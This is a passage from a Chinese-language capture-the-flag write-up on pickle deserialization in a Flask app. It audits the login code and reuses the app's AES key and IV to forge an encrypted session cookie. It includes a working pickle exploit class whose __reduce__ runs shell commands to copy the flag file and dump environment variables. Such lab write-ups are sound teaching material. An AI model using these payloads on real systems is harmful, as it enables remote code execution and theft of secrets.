pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session

我们也应该找找 create_session 这个函数,是在哪儿执行的

1
2
3
4
5
6
7
8
9
10
11
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")

很明显,整个网页后端代码中,只有访问/login,输入用户名和密码这一处,执行了 create_session,并设置了 cookie 中的 session 值

那想想我们的目的:伪造 cookie 中的 session。

所以我们不能让 cookie 中的 session 因触发 create_session 函数被修改。

这很简单,我们只要不访问/login,直接从网页根目录入手,网页就无法修改我们的 cookie 值。而这个函数对我们伪造 cookie 没有任何好处。

因此所有有关 pickle 的后端源码已经审计完毕了,接下来我们按照思路,先伪造 cookie,再带着 cookie 访问根目录,我们要的危险代码就成功执行了

逆向序列化阶段

aes_encrypt_decrypt 是个自定义的解密方式,我们可以从源码观察它的解密思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

大概其实就是加密的时候经过了一系列的加密算法加密,如果要解密再经过一系列的解密算法解密

这里要用到的参数密钥,则恰好是我们在信息收集阶段访问环境变量所获得的。

幸运的是这个函数本身就提供了加密模式助于我们加密,我们不必用与其相反的思路再构造一个加密脚本。

所以我们很容易就能得到这样一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
ans=aes_encrypt_decrypt('Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgZW52ID4gLi9zdGF0aWMvb3V0LnR4dApwMQp0cDIKUnAzCi4=',b'ajwdopldwjdowpajdmslkmwjrfhgnbbv',b'asdwdggiouewhgpw', mode='encrypt')
print(ans)

在 25 行之前,都是直接复制网页中完整的 aes 加密思路,网页引入了什么库,脚本中就要引入什么库;

不过要注意了,这两个秘钥要的都是比特形式,前面要加个 b,像这样 b'xxxx'

当然我们通过上一题的脚本,能够获得读 flag 的序列化字符串的 base64 编码,我们只要在第 26 行将这个脚本的运行结果输进 aes 加密的参数里面,像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import subprocess

class Exploit:
def __reduce__(self):
# 返回 (callable, args)
# callable = subprocess.getoutput (执行命令并返回输出)
# args = ('env',) (要执行的命令是 'env')
return (subprocess.getoutput, ('mkdir static; cat /fl* > ./static/out.txt',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式(方便查看和传输)
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输(HTTP、JSON等)
print(base64.b64encode(payload).decode())

执行第一个脚本,得到结果,这就是我们需要伪造的 cookie 值

1
t79tNrl5TH1uI/QbazF/JFHdDkUU7JzNrNUvI3slduiRHAf8S4eOiEFaDIW6K6xhG+tAJsimv75ydjo+Uq8ZaT+EFldTcZ/B/YhBiyLCGA2Gcnm6l6ssYViO9JtA0rjUhkcH8Hny2QN9ZAC1Gft1Lg==

在根目录下伪造 cookie 值,点放行

按照源码的逻辑,我们的危险代码就成功被 pickle 反序列化了,此时访问/static/out.txt,就得到我们的最终答案了

做题启示

因此 pickle 反序列化问题,还需从源码审计入手,找到什么样的函数会将什么值给反序列化,这个函数要怎么样才能执行,为了让这个值执行,我们还需要注意什么

清楚掌握源码中我们应用什么函数构造利用链,从而进行远程命令的执行。

总结

通过对 pickle 反序列化的学习,源码审计似乎给我提出了更高的要求,我们要通过思考题目逻辑,来找到反序列化的突破口。

除了这两个实验之外,pickle 反序列化常与修改 cookie 提权一并考查,今后需注意此类题型

本章结束 🎆